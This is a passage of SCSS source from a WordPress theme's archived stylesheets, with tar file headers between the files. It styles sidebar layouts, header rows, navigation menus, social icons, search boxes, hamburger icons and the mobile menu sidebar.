#sidebar-secondary {
@include for_device( tablet ) {
order: 5;
display: none;
}
}
}
/*-- Layout: content-sidebar --*/
.content-sidebar {
@include mq(min-sm) {
.content-inner {
padding-right: ms(0);
}
&.sidebar_vertical_border {
.content-area {
border-right: 1px solid $color_border;
}
.content-inner {
padding-right: ms(0);
}
.sidebar-primary-inner {
padding-left: ms(0);
}
}
}
}
/*-- Layout: sidebar-content --*/
.sidebar-content {
@include mq(min-sm) {
.content-inner {
padding-left: ms(0);
}
&.sidebar_vertical_border {
.content-area {
border-left: 1px solid $color_border;
}
.content-inner {
padding-left: ms(0);
}
.sidebar-primary-inner {
padding-right: ms(0);
}
}
}
}
/*-- Layout: sidebar-sidebar-content --*/
.sidebar-sidebar-content {
@include mq(min-sm) {
.content-inner {
padding-left: ms(0);
}
&.sidebar_vertical_border {
.content-area {
}
.sidebar-primary {
border-right: 1px solid $color_border;
}
.sidebar-secondary {
border-right: 1px solid $color_border;
}
.content-inner {
padding-left: ms(0);
}
.sidebar-primary-inner {
padding-right: ms(0);
}
.sidebar-secondary-inner {
padding-left: ms(0);
padding-right: ms(0);
}
}
}
}
/*-- Layout: content-sidebar-sidebar --*/
.content-sidebar-sidebar {
// Layout with vertical border, only for large screen
@include mq(min-sm) {
.content-inner {
padding-right: ms(0);
}
&.sidebar_vertical_border {
.content-area {
}
.sidebar-primary {
border-left: 1px solid $color_border;
}
.sidebar-secondary {
border-left: 1px solid $color_border;
}
.content-inner {
padding-right: ms(0);
}
.sidebar-primary-inner {
padding-left: ms(0);
padding-right: ms(0);
}
.sidebar-secondary-inner {
padding-left: ms(0);
}
}
}
}
/*-- Layout: sidebar-content-sidebar --*/
.sidebar-content-sidebar {
// Layout with vertical border, only for large screen
@include mq(min-sm) {
.content-inner {
padding-left: ms(0);
padding-right: ms(0);
}
&.sidebar_vertical_border {
.content-area {
border-left: 1px solid $color_border;
border-right: 1px solid $color_border;
}
.content-inner {
padding-left: ms(0);
padding-right: ms(0);
}
.sidebar-primary-inner {
padding-left: ms(0);
}
.sidebar-secondary-inner {
padding-right: ms(0);
}
}
}
@include mq(max-md) {
&.sidebar_vertical_border {
.content-inner {
padding-left: 0;
}
}
}
}
.skip-grid--column {
.builder-item {
display: inline-block;
}
}
site/header/_header_main.scss 0000666 00000000264 15114372150 0012235 0 ustar 00 .header-main {
padding: 0px;
.dark-mode {
background: #1a1a1a;
}
.light-mode {
box-shadow: 0 1px 2px 0 #e1e5ea;
background: #FFFFFF;
}
} site/header/builder_items/_social_icons.scss 0000666 00000005353 15114372150 0015301 0 ustar 00 /* Social Icons */
.customify-builder-social-icons {
display: inline-block;
margin: 0px;
padding: 0px;
list-style: none;
position: relative;
li {
list-style: none;
display: inline-block;
margin: 0px 3px;
&:last-child {
margin-right: 0px;
}
&:first-child {
margin-left: 0px;
}
}
&.color-default {
a {
color: #fff;
&:hover {
color: #fff;
}
}
}
a {
color: currentColor;
text-align: center;
vertical-align: middle;
width: 100%;
//height: 100%;
padding: 0.4em;
display: inline-block;
line-height: 1;
font-size: 13px;
i {
width: 1em;
height: 1em;
position: relative;
display: block;
&:before {
position: absolute;
left: 50%;
-webkit-transform: translateX(-50%);
-ms-transform: translateX(-50%);
transform: translateX(-50%);
}
}
&:hover {
opacity: .9;
color: inherit;
}
}
}
$socials-list: (
'apple': #999999,
'behance': #1769ff,
'bitbucket': #205081,
'codepen': #000000,
'delicious': #3399ff,
'digg': #005be2,
'dribbble': #ea4c89,
'envelope': #ea4335,
'facebook': #3b5998,
'flickr': #0063dc,
'foursquare': #2d5be3,
'github': #333333,
'google-plus': #dd4b39,
'houzz': #7ac142,
'instagram': #262626,
'jsfiddle': #487AA2,
'linkedin': #0077b5,
'medium': #00ab6b,
'odnoklassniki': #F4731C,
'meetup': #ec1c40,
'pinterest': #bd081c,
'product-hunt': #da552f,
'reddit': #ff4500,
'rss': #f26522,
'shopping-cart': #4CAF50,
'skype': #00AFF0,
'slideshare': #0077b5,
'snapchat': #fffc00,
'soundcloud': #ff8800,
'spotify': #2ebd59,
'stack-overflow': #fe7a15,
'telegram': #2CA5E0,
'tripadvisor': #589442,
'tumblr': #35465c,
'twitch': #6441A5,
'twitter': #1DA1F2,
'vimeo': #1ab7ea,
'vk': #45668e,
'weibo': #df2029,
'weixin': #7bb32e,
'whatsapp': #25d366,
'wordpress': #21759b,
'xing': #026466,
'yelp': #af0606,
'youtube': #cd201f,
);
.customify-builder-social-icons {
@each $social-key, $color in $socials-list {
[class*="social-icon-#{$social-key}"] {
background-color: $color;
&.shape-none {
background-color: transparent;
color: $color;
}
}
}
}
site/header/builder_items/_html_1.scss 0000666 00000000301 15114372150 0014004 0 ustar 00 /* HTML 1 */
.item--html {
p {
font-weight: 500;
text-transform: uppercase;
font-size: 13px;
&:last-child {
margin-bottom: 0px;
}
}
} site/header/builder_items/_navigation.scss 0000666 00000025655 15114372150 0015002 0 ustar 00 /* Navigation */
.nav-menu-mobile , .nav-menu-desktop {
.menu-item .link-before {
position: relative;
display: inline-flex;
align-items: center;
}
.nav-icon-angle {
display: inline-block;
font-size: inherit;
text-rendering: auto;
text-decoration: none !important;
position: relative;
width: 6px;
height: 6px;
margin-top: 1px;
border-left: 1px solid currentColor;
border-top: 1px solid currentColor;
transform: rotate(-135deg) translateY(50%);
}
}
.nav-menu-desktop {
.nav-icon-angle {
display: inline;
font-size: inherit;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-decoration: none !important;
}
&.hide-arrow-active {
.nav-icon-angle {
display: none;
}
}
.menu {
list-style: none;
padding: 0px;
margin: 0px;
li {
display: inline-block;
position: relative;
&:last-child {
margin-right: 0px;
}
a {
display: inline-block;
transition: all 0.14s ease-out;
text-decoration-color: currentColor;
}
&.current-menu-item {
> a {
color: rgba(0,0,0,0.9);
}
}
}
> li > a {
padding: 12px 13px 12px;
display: inline-flex;
align-items: center;
text-transform: uppercase;
font-weight: 600;
font-size: 0.85em;
line-height: 1;
i {
line-height: 0;
}
}
> li.menu-item-has-children {
> a {
.nav-icon-angle {
margin-left: 4px;
line-height: 0;
}
}
}
.sub-menu {
li.menu-item-has-children {
> a {
position: relative;
@include clearfix();
.nav-icon-angle {
margin-left: 5px;
float: right;
}
}
}
}
}
.sub-lv-0, .sub-menu {
position: absolute;
left: 0px;
transition: all .3s ease;
z-index: 99;
opacity: 0;
height: 0;
overflow: hidden;
visibility: hidden;
display: block;
transform: translateY(40px);
top: 100%;
margin: 0px;
padding: 0px;
}
.sub-menu {
width: $submenu_width;
background: #ffffff;
box-shadow: 0 2px 4px -2px rgba(0, 0, 0, 0.1), 0px 4px 15px 0px rgba(0, 0, 0, 0.1);
text-align: left;
border-radius: 2px;
//&:before {
// position: absolute;
// content: "";
// top: 0px;
// left: 0px;
// right: 0px;
// bottom: 0px;
// border: 1px solid $color_border;
//}
.link-before {
display: flex;
justify-content: space-between;
}
.nav-icon-angle {
transform: rotate(135deg) translateY(0);
}
li {
display: block;
margin: 0px;
padding: 0px;
a {
display: block;
width: 100%;
padding: 9px 15px;
transition: background 0.15s ease-out;
color: $dark_color_link;
font-size: 0.9em;
line-height: 1.5;
//border-bottom: 1px solid rgba(0,0,0,0.015);
&:hover {
background: rgba(0,0,0,0.015);
color: $dark_color_link_hover;
}
}
}
li:last-child > a {
}
.sub-menu {
top: 0px;
left: 100%;
//margin-top: -2px;
}
}
.menu-item:hover, .menu-item:focus, .menu-item.focus {
> .sub-menu, > .sub-lv-0 {
height: auto;
transform: translateY(0);
overflow: initial;
visibility: visible;
opacity: 1;
}
}
// Menu Style Plain
&.style-plain {
.nav-menu {
@include clearfix();
> li {
float: left;
//> a {
// &:hover, &:focus {
// color: rgba(0,0,0,0.9);
// }
//}
//&.current-menu-item, &.current-menu-ancestor {
// > a {
// color: rgba(0,0,0,0.9);
// }
//}
}
}
} // End style plain
// Menu Style Full Height
&.style-full-height {
.nav-menu {
@include clearfix();
> li {
float: left;
> a {
background: transparent;
display: inline-flex;
vertical-align: middle;
align-items: center;
&:hover {
color: #FFFFFF;
background-color: $color_link;
}
}
&.current-menu-item, &.current-menu-ancestor {
> a {
color: #ffffff;
background-color: $color_link;
}
}
}
}
} // End style full height
// Menu style border bottom
&.style-border-bottom {
.nav-menu {
> li {
> a {
.link-before {
position: relative;
&:before {
position: absolute;
bottom: -6px;
width: 1px;
left: 0px;
height: 2px;
background-color: transparent;
content: "";
transition: all .3s ease;
}
}
}
&:hover, &:focus {
> a {
.link-before {
&:before {
width: 100%;
background-color: currentColor;
}
}
}
}
&.current-menu-item, &.current-menu-ancestor {
> a {
.link-before {
&:before {
width: 100%;
background-color: currentColor;
}
}
}
}
}
}
} // End style border bottom
// Top menu item style border top
&.style-border-top {
.nav-menu {
> li {
> a {
.link-before {
position: relative;
&:before {
position: absolute;
top: -6px;
width: 1px;
left: 0px;
height: 2px;
background-color: transparent;
content: "";
transition: all .3s ease;
}
}
}
&:hover, &:focus {
> a {
.link-before {
&:before {
width: 100%;
background-color: currentColor;
}
}
}
}
&.current-menu-item, &.current-menu-ancestor {
> a {
.link-before {
&:before {
width: 100%;
background-color: currentColor;
}
}
}
}
}
}
} // End style border top
} // End desktop style
/* On Menu Sidebar */
.nav-menu-mobile {
.menu {
margin: 0px;
padding: 0px;
list-style: none;
li:first-child > a {
border-top: none;
}
.menu-item a > .link-before .nav-icon-angle {
display: none;
}
li {
list-style: none;
position: relative;
border-bottom: 1px solid transparent;
&:last-child {
border: none;
}
ul {
li {
&:last-child {
//border-bottom: none;
}
}
}
&.menu-item-has-children {
> a {
padding-right: 45px !important;
}
}
a {
display: block;
padding: 0.55em 1.5em;
//border-top: 1px solid $light_color_border;
&:hover, &:focus {
background: rgba(0,0,0,0.01);
}
}
.nav-toggle-icon {
display: block;
position: absolute;
top: 0px;
right: 0px;
text-align: center;
vertical-align: middle;
line-height: 1;
transition: all .5s ease;
cursor: pointer;
padding: 0.88em 0.9em;
border-left: 1px solid $light_color_border;
background: transparent;
&:hover {
box-shadow: none;
}
.nav-icon-angle {
transform: rotate(-135deg) translateY(50%) translateX(50%);
}
}
}
.sub-menu {
//display: none;
//overflow: hidden;
opacity: 0;
transition: opacity .5s ease;
margin: 0px;
border-top: 1px solid $light_color_border;
li {
a {
padding-left: 3em;
}
}
}
.open-sub {
> a {
.nav-toggle-icon {
i {
transform: rotate(45deg);
}
}
}
> .sub-menu {
display: block;
//max-height: 2000px;
opacity: 1;
}
}
} // end menu li
} // End mobile menu
site/header/builder_items/_button.scss 0000666 00000001035 15114372150 0014140 0 ustar 00 /* Button */
.customify-builder-btn {
padding: ms(-3) ms(0);
background: $color_secondary;
color: #FFFFFF;
border-radius: 2px;
display: inline-block;
position: relative;
text-decoration: none;
font-size: 0.85em;
text-transform: uppercase;
letter-spacing: 0.5px;
font-weight: 600;
&:hover {
box-shadow: inset 0 0 0 120px rgba(0,0,0,0.18);
color: #ffffff;
}
&.is-icon-before i {
margin-right: 4px;
}
&.is-icon-after i {
margin-left: 5px;
}
} site/header/builder_items/_search.scss 0000666 00000007667 15114372150 0014113 0 ustar 00 /* Search */
.builder-item--search_box {
max-width: 100%;
}
.item--search_icon {
line-height: 0px;
cursor: pointer;
}
.search-icon {
line-height: 0px;
display: inline-block;
position: relative;
box-shadow: none;
&:hover {
box-shadow: none;
color: currentColor;
}
svg {
width: 18px;
height: 18px;
}
.ic-close {
display: none;
}
}
.header-search_icon-item {
position: relative;
&.active {
.search-icon {
.ic-search {
display: none;
}
.ic-close {
display: inline-block;
}
}
}
.header-search-modal-wrapper {
position: absolute;
top: 100%;
left: -0.9em;
height: 0px;
overflow: hidden;
display: block;
margin-top: -1px;
transition: all 0.2s linear;
transform: translateY(40px);
}
&.search-left {
.header-search-modal-wrapper {
left: auto;
right: -0.9em;
}
.header-search-modal {
&::before {
left: auto;
right: 15px;
}
}
}
&.active {
.header-search-modal-wrapper {
height: auto;
overflow: initial;
z-index: 26;
transform: translateY(0);
// transform: translateY( 0 );
}
}
}
// Apply for all search form at header
.header-search-form {
display: flex;
margin-bottom: 0px;
width: 100%;
max-width: 100%;
label {
flex-basis: 100%;
}
.search-form-fields{
border: 1px solid;
border-color: rgba(127, 127, 127, 0.2);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
border-radius: 2px;
}
.search-field {
display: block;
width: 100%;
border-radius: 2px;
height: 2.4em;
&:focus{
background-color: transparent;
}
}
button.search-submit {
overflow: hidden;
box-shadow: none;
margin-left: -40px;
background: transparent;
color: $color_meta;
line-height: 0px;
padding: 0px 0.7em;
min-height: auto;
&:hover {
box-shadow: none;
background-color: transparent;
color: $color_text;
}
svg {
width: 18px;
height: 18px;
}
}
input[type="submit"] {
min-height: auto;
}
}
.header-search_box-item {
.header-search-form {
.search-field {
border: 0;
box-shadow:none;
background-color: transparent;
}
}
}
.header-search-modal {
border: 1px solid $color_border;
padding: 1.25em;
background: #fff;
width: 280px;
@include for_device(mobile) {
width: 220px;
}
position: relative;
margin-top: 15px;
box-shadow: $boxshadow_dropdown;
label {
flex-basis: 100%;
}
&::before {
border-top: 1px solid $color_border;
border-left: 1px solid $color_border;
background: #fff;
content: "";
display: block;
position: absolute;
top: -8px;
left: 15px;
width: 15px;
height: 15px;
transform: rotate(45deg);
z-index: 27;
}
}
.woo_bootster_search {
.header-search_box-item {
.header-search-form {
margin-bottom: 0px;
width: 100%;
max-width: 100%;
display: flex;
border: 1px solid;
border-color: rgba(127, 127, 127, 0.2);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
border-radius: 2px;
height: 2.4em;
line-height: 2.4em;
overflow: hidden;
.search-form-fields {
background-color: transparent;
min-height: auto;
-ms-flex-preferred-size: 100%;
flex-basis: 100%;
display: flex;
border-style: none;
border: none;
box-shadow:none;
}
.search-field {
border-color: transparent;
height: auto;
background-color: transparent;
border: 0;
border-style: none;
box-shadow: none;
flex: 0 0 auto;
&:focus {
background: transparent;
}
}
.search_product_cats {
height: auto;
border: 0;
background-color: transparent;
flex: 1 1 auto;
width: auto;
padding-right: 2em;
position: relative;
border-right: 1px solid rgba(127, 127, 127, 0.2);
color: #6d6d6d;
border-top: 0 !important;
border-left: 0 !important;
border-bottom: 0 !important;
}
}
}
}
site/header/builder_items/_nav_icon.scss 0000666 00000013616 15114372150 0014431 0 ustar 00 /* Nav Icon */
.menu-mobile-toggle {
cursor: pointer;
text-align: center;
//padding: 2px 5px;
background: transparent;
//color: inherit;
box-shadow: none;
color: currentColor;
transition: transform .3s, border .3s, background .3s, box-shadow .3s, opacity .3s, color .3s;
&:hover {
box-shadow: none;
background: transparent;
}
}
.nav-icon--label {
background: none !important;
text-transform: uppercase;
font-size: 0.85em;
}
$nav_icon_sizes: (
small: (
width: 19px,
height: 2px,
top: -6px,
bottom: -6px
),
medium: (
width: 22px,
height: 2px,
top: -7px,
bottom: -7px
),
large: (
width: 31px,
height: 3px,
top: -9px,
bottom: -9px
),
) !default;
$hamburger-layer-border-radius : 0px !default;
$hamburger-hover-opacity : 0.7 !default;
$hamburger-hover-transition-duration : 0.15s !default;
$hamburger-layer-color : currentcolor;
$hamburger-hover-transition-timing-function: linear !default;
// To use CSS filters as the hover effect instead of opacity,
// set $hamburger-hover-use-filter as true and
// change the value of $hamburger-hover-filter accordingly.
$hamburger-hover-use-filter: false !default;
$hamburger-hover-filter : opacity(50%) !default;
// Hamburger
// ==================================================
.hamburger {
padding: 0;
display: inline-block;
cursor: pointer;
transition-property: opacity, filter;
transition-duration: $hamburger-hover-transition-duration;
transition-timing-function: $hamburger-hover-transition-timing-function;
// Normalize (<button>)
font: inherit;
color: inherit;
text-transform: none;
background-color: transparent;
border: 0;
margin: 0;
overflow: visible;
}
.hamburger-box {
//width: $hamburger-layer-width;
//height: $hamburger-layer-height * 3 + $hamburger-layer-spacing * 2;
display: inline-block;
position: relative;
vertical-align: middle;
}
.hamburger-inner {
display: block;
top: 50%;
background-color: currentcolor;
//margin-top: $hamburger-layer-height / -2;
&,
&::before,
&::after {
//width: $hamburger-layer-width;
// height: $hamburger-layer-height;
border-radius: $hamburger-layer-border-radius;
position: absolute;
transition-property: transform;
transition-duration: 0.15s;
transition-timing-function: ease;
}
&::before,
&::after {
content: "";
display: block;
background-color: inherit;
}
}
@mixin nav_icon_size(){
@each $key, $settings in $nav_icon_sizes {
.is-size-#{$key} {
.hamburger {
.hamburger-box {
margin-top: - 2px;
width: map-get($settings, width);
}
.hamburger-inner {
margin-top: map-get($settings, height) / -2;
&,
&::before,
&::after {
width: map-get($settings, width);
height: map-get($settings, height);
}
&::before {
top: map-get($settings, top);
}
&::after {
bottom: map-get($settings, bottom);
}
}
}
}
}
@each $mq-key, $mq-value in $gl-devices-list {
@media #{$mq-value} {
@each $key, $settings in $nav_icon_sizes {
.is-size-#{$mq-key}-#{$key} {
.hamburger {
.hamburger-box {
margin-top: - 2px;
width: map-get($settings, width);
}
.hamburger-inner {
margin-top: map-get($settings, height) / -2;
&,
&::before,
&::after {
width: map-get($settings, width);
height: map-get($settings, height);
}
&::before {
top: map-get($settings, top);
}
&::after {
bottom: map-get($settings, bottom);
}
}
}
}
}
}
}
}
@include nav_icon_size();
/*
* Squeeze
*/
.hamburger--squeeze {
.hamburger-inner {
transition-duration: 0.075s;
transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
&::before {
transition: top 0.075s 0.12s ease,
opacity 0.075s ease;
}
&::after {
transition: bottom 0.075s 0.12s ease,
transform 0.075s cubic-bezier(0.55, 0.055, 0.675, 0.19);
}
}
&.is-active {
.hamburger-inner {
transform: rotate(45deg);
transition-delay: 0.12s;
transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
&::before {
top: 0;
opacity: 0;
transition: top 0.075s ease,
opacity 0.075s 0.12s ease;
}
&::after {
bottom: 0;
transform: rotate(-90deg);
transition: bottom 0.075s ease,
transform 0.075s 0.12s cubic-bezier(0.215, 0.61, 0.355, 1);
}
}
}
} site/header/builder_items/_logo_site_identity.scss 0000666 00000003120 15114372150 0016517 0 ustar 00 /* Logo & Site Identity */
.site-branding {
display: flex;
line-height: .9;
vertical-align: middle;
a {
display: inline-block;
text-transform: uppercase;
letter-spacing: 0.4px;
font-weight: 600;
}
img {
display: block;
width: auto;
line-height: 1;
}
.site-title {
font-size: 1.5em;
margin: 0;
font-weight: 600;
line-height: 1.216;
}
.site-description {
margin: 5px 0px 7px 0px;
}
&.logo-left {
.logo-link {
display: flex;
flex-direction: column;
justify-content: center;
}
.site-name-desc {
margin-left: 7px;
display: flex;
flex-direction: column;
justify-content: center;
}
}
&.logo-right {
flex-direction: row-reverse;
.logo-link {
display: flex;
flex-direction: column;
justify-content: center;
}
.site-name-desc {
margin-right: 7px;
display: flex;
flex-direction: column;
justify-content: center;
}
}
&.logo-top{
flex-direction: column;
.site-name-desc {
//margin-bottom: 7px;
}
}
&.logo-bottom{
flex-direction: column-reverse;
.site-name-desc {
margin-top: 7px;
}
}
}
.item-button {
display: inline-block;
}
.site-header {
.cb-row--mobile {
.site-branding img {
max-width: 100%;
}
}
}
site/header/_header_builder_common.scss 0000666 00000012506 15114372150 0014311 0 ustar 00 /* Header Builder Common */
.site-header {
position: relative;
z-index: 10;
.customify-container {
display: flex;
flex-direction: column;
justify-content: center;
}
}
.builder-item {
.item--inner {
display: inline-block;
vertical-align: middle;
}
&.builder-item--group {
.item--inner {
margin-right: ($gl-gutter/2);
@include for_device(tablet) {
margin-right: 1em;
}
@include for_device(mobile) {
margin-right: 0.4em;
}
&:last-child {
margin-right: 0px;
}
}
}
}
//.customify-grid {
// &.cb-row--desktop {
// margin: 0 -0.5em;
// > [class*="customify-col-"] {
// padding-left: 0.5em;
// padding-right: 0.5em;
// }
// }
//}
.layout-fullwidth {
.customify-container {
max-width: initial;
}
}
.header--row {
.customify-grid {
@include for_device(desktop) {
margin: 0 -0.5em;
[class~="customify-col-"],
[class*="customify-col-"],
[class*="customify-col_"] {
padding-left: 0.5em;
padding-right: 0.5em;
}
}
}
.customify-grid {
}
&.layout-full-contained {
.customify-container {
background: transparent !important;
}
}
&.layout-full-contained,
&.layout-fullwidth {
.customify-container {
border: 0 none !important;
box-shadow: none !important;
}
}
@include for_device(desktop) {
&.layout-contained {
background: transparent !important;
border: 0 none;
box-shadow: none !important;
.customify-container {
}
}
}
&.layout-fullwidth {
.customify-container {
box-shadow: none !important;
}
}
}
// Titlebar
.page-titlebar {
padding: 21px 0px 22px;
border-bottom: 1px solid $color_border;
word-break: break-word;
background: #f9f9f9;
@include for_device(tablet) {
padding: 19px 0px 20px;
}
@include for_device(mobile) {
padding: 18px 0px 20px;
}
.page-titlebar-inner {
width: 100%;
}
.titlebar-title {
margin-bottom: 0px;
}
.titlebar-tagline {
margin-top: 5px;
font-size: ms(-1);
}
}
// Breadcrumbs
.page-breadcrumb {
padding: 9px 0px 9px;
border-bottom: 1px solid $color_border;
color: $color_meta;
line-height: 1.6;
background: #fff;
.page-breadcrumb-inner {
width: 100%;
}
}
.page-breadcrumb-list {
list-style: none;
margin: 0px 1em;
padding: 0px;
li {
display: inline-block;
position: relative;
padding-right: 10px;
&:after {
border-top: 1px solid currentColor;
border-left: 1px solid currentColor;
content: "";
width: 5px;
height: 5px;
display: inline-block;
transform: rotate(135deg);
left: auto;
position: relative;
top: -1px;
}
&:last-child {
&:after {
display: none;
}
}
a {
font-weight: 500;
margin-right: 10px;
}
}
}
.page-titlebar,
.page-cover {
.customize-partial-edit-shortcut button {
left: 0px;
}
.page-breadcrumb-inner {
padding-left: 0;
padding-right: 0;
}
.page-breadcrumb {
border-bottom: none;
padding-bottom: 0px;
background: transparent;
}
}
// Header Cover
.page-cover {
position: relative;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
background-position: center;
display: flex;
flex-direction: column;
justify-content: center;
&:before {
position: absolute;
content: "";
background-color: rgba(0, 0, 0, 0.3);
top: 0px;
left: 0px;
width: 100%;
height: 100%;
display: block;
z-index: 1;
}
.page-cover-inner {
width: 100%;
display: flex;
flex-direction: column;
justify-content: center;
z-index: 5;
padding: 1em 30px;
@include for_device(desktop) {
min-height: 300px;
}
@include for_device(tablet) {
min-height: 250px;
padding: 1em 15px;
}
@include for_device(mobile) {
min-height: 200px;
}
}
.page-breadcrumb-list {
color: rgba(255, 255, 255, 0.8);
a,
li:after {
color: inherit;
}
a:hover {
color: rgba(255, 255, 255, 0.8);
}
}
}
.page-cover-title {
margin-bottom: 0.5em;
}
.page-cover-tagline {
margin-bottom: 1.2em;
}
.page-cover-title,
.page-cover-tagline {
display: inline-block;
position: relative;
color: rgba(255, 255, 255, 0.99);
z-index: 5;
p {
&:last-child {
margin-bottom: 0px;
}
}
}
/* Customizer Shortcut */
#masthead,
#header-menu-sidebar {
.customize-partial-edit-shortcut {
display: none;
}
}
#masthead {
> .customize-partial-edit-shortcut {
&.customize-partial-edit-shortcut-header_builder_panel {
display: none;
}
button {
left: 0px;
}
}
}
/* Layout Builder V2 */
.row-v2 {
display: flex !important;
flex-flow: row nowrap;
justify-content: space-between;
align-items: center;
width: 100%;
height: 100%;
.item--inner {
display: inline-flex;
align-items: center;
margin-left: 0.5em;
margin-right: 0.5em;
}
.col-v2 {
display: flex;
&.col-v2-center {
justify-content: center;
margin-left: 1em;
margin-right: 1em;
}
&.col-v2-left {
justify-content: flex-start;
margin-right: auto;
flex: 1 1 0;
}
&.col-v2-right {
margin-left: auto;
justify-content: flex-end;
flex: 1 1 0;
}
}
&.no-left.no-right {
.col-v2 {
&.col-v2-center {
flex-basis: 100%;
}
}
}
&.no-center {
.col-v2 {
&.col-v2-left {
flex: auto;
}
&.col-v2-right {
flex: auto;
}
}
}
}
#masthead {
> .customize-partial-edit-shortcut {
&.customize-partial-edit-shortcut-header_builder_panel {
display: none;
}
button {
left: 0px;
}
}
}
site/header/_header_top.scss 0000666 00000000464 15114372150 0012115 0 ustar 00 .header-top {
padding: 0;
text-size-adjust: 100%;
line-height: 13px;
.customify-grid .item--html{
font-size: 15px;
}
.item--html {
line-height: 1.3;
}
.light-mode {
background: #f0f0f0;
}
.dark-mode {
background: $color_primary;
}
} site/header/_header.scss 0000666 00000001227 15114372150 0011231 0 ustar 00 @import "header_top";
@import "header_main";
@import "header_bottom";
@import "header_builder_common";
// Import header builder items.
@import "builder_items/button";
@import "builder_items/html_1";
@import "builder_items/logo_site_identity";
@import "builder_items/navigation";
@import "builder_items/search";
@import "builder_items/social_icons";
@import "builder_items/nav_icon";
@import "header_mobile_sidebar";
.cb-row--mobile {
padding: 0 0.5em 0;
[class~="customify-col"], [class*="customify-col-"], [class*="customify-col_"] {
padding: 0 0.5em 0;
}
}
.header-v2 {
.cb-row--mobile {
padding-left: 1em;
padding-right: 1em;
}
}
site/header/_header_bottom.scss 0000666 00000000401 15114372150 0012606 0 ustar 00 .header-bottom {
padding: 0px;
border-left: none;
border-right: none;
//background: #f0f0f0;
.light-mode {
background: #f0f0f0;
box-shadow: 0 1px 2px 0 #e1e5ea;
}
.dark-mode {
background: #303030;
}
} site/header/_header_mobile_sidebar.scss 0000666 00000027311 15114372150 0014253 0 ustar 00 /* Header mobile sidebar */
$menu_sidebar_width: 360px;
$menu_sidebar_active_z_index: 999900;
$menu_sidebar_content_max_width: 48em;
$menu_sidebar_content_gutter: 1.5em;
$menu_sidebar_boxshadow: 0px 0px 10px 0px rgba(0,0,0,0.4);
/* - General */
.body-y-hidden {
overflow: hidden !important;
}
#page {
transition: transform .7s ease;
}
body {
&:before {
transition: all .5s linear;
position: fixed;
top: 0px;
right: 0px;
left: 0px;
bottom: 0px;
z-index: -1;
content: " ";
background: rgba( 0, 0, 0, .5 );
visibility: hidden;
opacity: 0;
}
&.menu_sidebar_dropdown {
&:before {
display: none;
}
}
}
.header-menu-sidebar {
padding: 0;
position: fixed;
width: 100%;
max-width: 100%;
top: 0;
z-index: $menu_sidebar_active_z_index;
visibility: hidden;
.builder-item-sidebar {
padding: 1.4em 1.5em;
border-bottom: 1px solid transparent;
&:last-of-type {
border-bottom: none;
}
&.mobile-item--primary-menu, &.mobile-item--secondary-menu, &.mobile-item--menu {
padding: 0px;
}
}
.nav-menu-mobile .nav-toggle-icon {
color: currentColor;
&:hover, &:focus {
background: rgba(0,0,0,0.01);
}
}
// Light mode
&.light-mode {
.sub-menu a,
.cart-item-link,
.item--html a,
.nav-menu a {
color: $dark_color_link;
&:hover {
color: $dark_color_link_hover;
}
}
.cart-icon {
color: $dark_color_link_hover;
}
//a:not(.customify-btn) {
// color: $dark_color;
// &:hover {
// color: $dark_color_link_hover;
// }
//}
.builder-item-sidebar {
border-color: $dark_color_border;
&:before {
background: $dark_color_border;
}
}
.header-menu-sidebar-bg {
&:before {
background: $light_bg;
}
}
.nav-menu-mobile .menu li a, .sub-menu, .nav-menu-mobile .nav-toggle-icon { border-color: $dark_color_border }
.nav-menu-mobile .nav-toggle-icon {
&:hover, &:focus {
background: rgba(0,0,0,0.01);
}
}
.menu {
li {
border-color: $dark_color_border;
}
}
}
// Dark mode
&.dark-mode {
.sub-menu a,
.cart-item-link,
.item--html a,
.nav-menu a, .nav-menu .nav-toggle-icon {
color: $light_color_link;
&:hover {
color: $light_color_link_hover;
}
}
.cart-icon {
color: $light_color_link_hover;
}
.builder-item-sidebar {
border-color: $light_color_border;
&:before {
background: $light_color_border;
}
}
.header-menu-sidebar-bg {
&:before {
background: $dark_bg;
}
}
.nav-menu-mobile .menu li a, .sub-menu, .nav-menu-mobile .nav-toggle-icon { border-color: $light_color_border }
.nav-menu-mobile .nav-toggle-icon {
&:hover, &:focus {
background: rgba(0,0,0,0.01);
}
}
.menu {
li {
border-color: $light_color_border;
}
}
}
}
.header-menu-sidebar-bg {
position: relative;
word-wrap: break-word;
min-height: 100%;
display: block;
&:before {
content: "";
position: absolute;
top: 0; bottom: 0; left: 0; right: 0;
display: block;
min-height: 100%;
}
}
.header-menu-sidebar-inner {
position: relative;
word-wrap: break-word;
min-height: 100%;
display: block;
padding: 1.2em 0;
}
/* Type : Overlay */
.menu_sidebar_slide_overlay {
.header-menu-sidebar {
box-shadow: none;
transition: all .5s linear;
z-index: 0;
opacity: 0;
top: 0px;
width: 100%;
right: 0px;
bottom: 0px;
}
.builder-item-sidebar {
text-align: center;
padding: 2em 1.5em;
border: none;
position: relative;
&:before {
content: "";
width: 8%;
height: 2px;
display: block;
background: $light_color_border;
position: absolute;
bottom: 0px;
left: 46%;
@include mq(max-md) {
width: 16%;
left: 42%;
}
}
&:last-child {
&:before {
content: none;
}
}
&[class*="-menu"] {
padding: 2.5em 1.5em;
}
}
// Menu style
.nav-menu-mobile {
.menu {
li {
a {
border: none;
font-size: 140%;
text-transform: uppercase;
font-weight: 500;
.nav-toggle-icon {
display: inline-block;
position: relative;
border: 0px none;
margin-right: -1.3em;
top: -2px;
padding: 0.28em 0.5em;
}
}
}
}
.sub-menu {
border: none;
li {
a {
text-transform: none;
padding: 0.35em 1.5em;
font-size: 100%;
}
}
}
}
.header-menu-sidebar-bg {
position: absolute;
top: 0px; left: 0px; width: 100%;
}
.header-menu-sidebar-inner {
max-width: $menu_sidebar_content_max_width;
margin: ( $menu_sidebar_content_gutter * 2) auto;
padding: 0;
}
.dark-mode {
.header-menu-sidebar-bg {
&:before {
background: $dark_bg;
}
}
}
.light-mode {
&.close-sidebar-panel {
.hamburger-inner {
background: $dark_color;
&:before, &::after {
background: inherit;
}
}
&:hover {
.hamburger-inner {
background: $dark_color_link_hover;
}
}
}
}
}
/* Type: Slide from left */
.menu_sidebar_slide_left {
.header-menu-sidebar {
box-shadow: $menu_sidebar_boxshadow;
width: $menu_sidebar_width;
left: 0;
